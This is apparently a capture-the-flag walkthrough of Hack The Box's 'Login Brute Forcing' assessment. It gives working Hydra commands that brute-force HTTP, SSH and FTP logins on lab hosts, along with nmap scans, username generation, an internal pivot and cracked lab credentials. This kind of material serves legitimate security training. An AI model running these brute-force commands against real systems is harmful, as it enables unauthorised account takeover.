> For the complete documentation index, see [llms.txt](https://ganesha-hk.gitbook.io/offensive-security-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/login-brute-forcing.md). # Login Brute Forcing ## Skills Assessment (Part 1 & 2) Walkthrough > **HTB Module:** Login Brute Forcing **Difficulty:** Medium **Goal:** Brute-force web login → get username → brute-force SSH → enumerate internal services → brute-force FTP → capture flag **Tools:** Hydra, username-anarchy, Nmap, FTP > > ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FI4RfYskOgy1HOLms586v%2Fksnip_20260917-002240.png?alt=media\&token=70e2d48e-273b-43a6-99cd-e18be6e327ec) ![](https://2161282592-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F4Q3ckiibsN2y5dLrShvo%2Fuploads%2FcjPoAYjE6W7RwMLya9VN%2Fimage.png?alt=media\&token=ed005c23-91b8-485e-a43c-37c6ef003003) *** ### 📌 Scenario This is a two-part skills assessment. **Part 1** requires brute-forcing a web login to get a username. **Part 2** uses that username to chain through SSH, internal enumeration, and FTP brute-forcing to capture the final flag. ### 🗺️ Attack Chain ``` Part 1: Hydra HTTP brute-force → web login → get username for Part 2 Part 2: Hydra SSH brute-force → SSH login → IncidentReport.txt → "Thomas Smith" → username-anarchy → user.txt → ifconfig → internal IP 10.244.40.211 → nmap (FTP + SSH) → Hydra FTP brute-force (from target) → thomas:chocolate! → FTP login → flag.txt 🏴 ``` *** *** ## Part 1 — Web Login Brute-Force *** ## Step 1 — Hydra HTTP-GET Brute-Force We have a web application with a login page. Use the provided wordlists (`users.txt` and `passwords.txt`) to brute-force: ```bash hydra -L users.txt -P passwords.txt -s 30972 154.57.164.68 http-get ``` **Hit!** 🎯 Hydra finds valid HTTP credentials. > *** ## Step 2 — Login & Get Username for Part 2 Login to the web app with the cracked credentials. The page shows: **"Congratulations! This is the username you will need for part 2 of the Skills Assessment:"** followed by the username. > *** *** ## Part 2 — SSH → Internal Pivot → FTP → Flag *** ## Step 3 — Confirm SSH is Running First, let's verify SSH is running on the target: ```bash sudo nmap -p 32511 -A 154.57.164.77 -Pn --disable-arp ``` ``` PORT STATE SERVICE VERSION 32511/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 ``` SSH on port **32511** confirmed. Ubuntu 22.04. > *** ## Step 4 — Hydra SSH Brute-Force Use the username from Part 1 and brute-force SSH: ```bash hydra -l -P passwords.txt ssh://154.57.164.77:32511 ``` **Hit!** 🎯 Valid SSH creds found. > *** ## Step 5 — SSH Login SSH into the target: ```bash ssh @154.57.164.77 -p 32511 ``` We're in! Ubuntu 22.04.4 LTS. > *** ## Step 6 — Reading the Incident Report Check what files are in the home directory: ```bash ls # IncidentReport.txt passwords.txt username-anarchy cat IncidentReport.txt ``` The report says: ``` System Logs - Security Report Date: 2024-09-06 Upon reviewing recent FTP activity, we have identified suspicious behavior linked to a specific user. The user **Thomas Smith** has been regularly uploading files to the server during unusual hours and has bypassed multiple security protocols. All logs point towards Thomas Smith being the FTP user responsible for recent questionable transfers. We advise closely monitoring this user's actions and reviewing any files uploaded to the FTP server. ``` Key info: **Thomas Smith** is the FTP user we need to target. 🎯 > *** ## Step 7 — Generate Username Variants with username-anarchy There's a `username-anarchy` tool conveniently on the box. Use it to generate possible FTP username variants for "Thomas Smith": ```bash ./username-anarchy Thomas Smith > ~/user.txt ``` This generates variations like: `thomas`, `tsmith`, `t.smith`, `thomass`, `smitht`, etc. > *** ## Step 8 — Internal Network Discovery Check for internal network interfaces and scan for services: ```bash ifconfig ``` Found internal interface `eth0` with IP `10.244.40.211`. Scan localhost/internal IP: ```bash nmap 10.244.40.211 ``` ``` PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh ``` FTP is running internally! 🔥
*** ## Step 9 — Hydra FTP Brute-Force (From Target) Use the built-in hydra on the target system to brute-force FTP with our generated username list: ```bash hydra -L user.txt -P passwords.txt ftp://10.244.40.211 ``` **Hit!** 💰 ``` [21][ftp] host: 10.244.40.211 login: thomas password: chocolate! ``` FTP creds: `thomas:chocolate!` > *** ## Step 10 — FTP Login & Flag Login to FTP with the cracked creds: ```bash ftp 10.244.40.211 # Username: thomas # Password: chocolate! ``` ``` ftp> ls -rw------ 1 1001 1001 28 Sep 10 2024 flag.txt ftp> get flag.txt ``` Download and read the flag! 🏴 > *** ## 🏆 Pwned! Web brute-force → username → SSH brute-force → incident report → username-anarchy → internal FTP brute-force → flag captured. #### Tools Used | Tool | Purpose | | ------------------ | ------------------------------------------ | | `hydra` | HTTP, SSH, and FTP brute-forcing | | `nmap` | Port scanning & service detection | | `username-anarchy` | Username variant generation from real name | | `ssh` | Shell access | | `ftp` | FTP login & file retrieval | *** > **GG 🏴** — HTTP brute → SSH brute → incident report → username-anarchy → internal FTP brute → flag. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://ganesha-hk.gitbook.io/offensive-security-writeups/hack-the-box/login-brute-forcing.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.